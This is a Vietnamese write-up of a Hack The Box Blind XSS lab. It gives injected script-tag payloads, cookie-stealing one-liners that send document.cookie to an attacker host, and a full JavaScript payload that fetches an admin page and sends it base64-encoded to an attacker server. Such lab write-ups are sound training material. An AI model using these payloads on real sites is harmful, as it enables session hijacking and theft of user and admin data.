Đây là cách mình giải một lab BlindXSS của HTB :3
# Detect vị trí dính lỗi
## Dựng server hứng dữ liệu
```bash
php -S 0.0.0.0:8888
```
## Fuzz lần lượt payload vào các vị trí có thể input được
Payload mặc định đầu tiên:
```
'"/><img src="http://OUR_IP:PORT/param-name"
```

Check log

Xác định vị trí dính lỗi là param `url`
# Script.js
Ý tưởng ở đây là sẽ gửi payload có dạng:
```
'"/><script src="http://OUR_IP:PORT/script.js"></script>
```
Sau khi payload được thực thi, victim-server sẽ load file `script.js` từ attacker-server và tiếp thực thi các nội dung có trong file script.js
Ưu điểm:
- Dễ chỉnh sửa payload, ta chỉ cần thay đổi nội dung file script.js chứ không cần phải viết payload rổi encode các thứ gửi kèm trong URI
Nhược điểm:
- Cách này có thể bị chặn =))

Nội dung của file **script.js**:
```
document.location='http://OUR_IP:PORT/index.php?c='+document.cookie;
```
Hoặc
```
new Image().src='http://OUR_IP:PORT/index.php?c='+document.cookie;
```
Kết quả:

Lấy được cookie của admin
# Lấy flag
Truy cập vào trang **login.php** và set cookie thành cookie ta vừa lấy được. Có thể set bằng console như sau:

Reload lại trang web, thành công vào được trang admin và nhìn thấy flag

# Thăm dò admin page, lấy flag mà không cần biết cookie
Đây có thể gọi là trường hợp CSRF tức là server vẫn thực thi mã JavaScript nhưng do server có cấu hình HttpOnly -> không thể đọc document.cookie bằng JS được.
Nên ý tưởng lúc này sẽ là tìm cách để victim-server gửi HTML content về cho attacker-server. Giúp attacker có thể xem được nội dung của trang admin
Và vì đã biết flag nằm ở login.php
Nên ý tưởng sẽ đổi thành
- Gửi payload đến server
- Server thực thi payload request đến script.js nằm trên máy tấn công.
- Server thực thi script.js, gọi đến trang login.php (Do request được thực hiện bởi victim-server nên sẽ có đính kèm admin cookie)
- Lấy HTML content của login.php, encode base64 rồi gửi lại cho attacker server
```javascript
// script.js
// Chuyển đổi string sang Base64
function encodeBase64(str) {
return btoa(unescape(encodeURIComponent(str)));
}
// Hàm lấy HTML, lọc các dòng chứa "HTB", và gửi về server 12.12.12.12
async function fetchAndSendHTBLines() {
try {
const response = await fetch('http://10.129.64.169/hijacking/login.php');
const htmlContent = await response.text();
// Tách HTML thành các dòng và chỉ lấy những dòng chứa 'HTB'
//const lines = htmlContent.split('\n');
//const htbLines = lines.filter(line => line.includes('HTB')).join('\n');
// Encode nội dung tìm được sang Base64
const encodedData = encodeBase64(htmlContent);
// Gửi nội dung về server 12.12.12.12
serverURL = `http://10.10.14.48:8888/save?data=${encodeURIComponent(encodedData)}`;
await fetch(serverURL, {
method: 'GET',
mode: 'no-cors' // tránh vấn đề CORS
});
console.log('Đã gửi HTML content thành công!');
} catch (error) {
console.error('Có lỗi:', error);
}
}
// Thực thi function
fetchAndSendHTBLines();
```
Để debug cho nhanh, ta có thể sử dụng luôn console có cookie mà ta có kiếm được từ trước đó để test code

Copy toàn bộ script.js vào console và gõ enter. Debug sửa code cho đến khi thành công gửi được data về cho server
Sau khi chỉnh sửa script.js, ta có thể thử gửi lại payload đến admin thông qua tham số `url` và kiểm tra log

Đem base64 data đi decode

Vậy là ta đã đọc được nội dung file admin và flag mà không cần biết cookie.
Mình biết thực tế sẽ phức tạp hơn nhiều nhưng đây là một study case để chứng minh rằng sẽ luôn có nhiều hơn một cách khai thác, một cách giải quyết vấn đề, cũng như luôn có nhiều hơn một cách tấn công.
Think out side the box and be careful :3
**HẾT**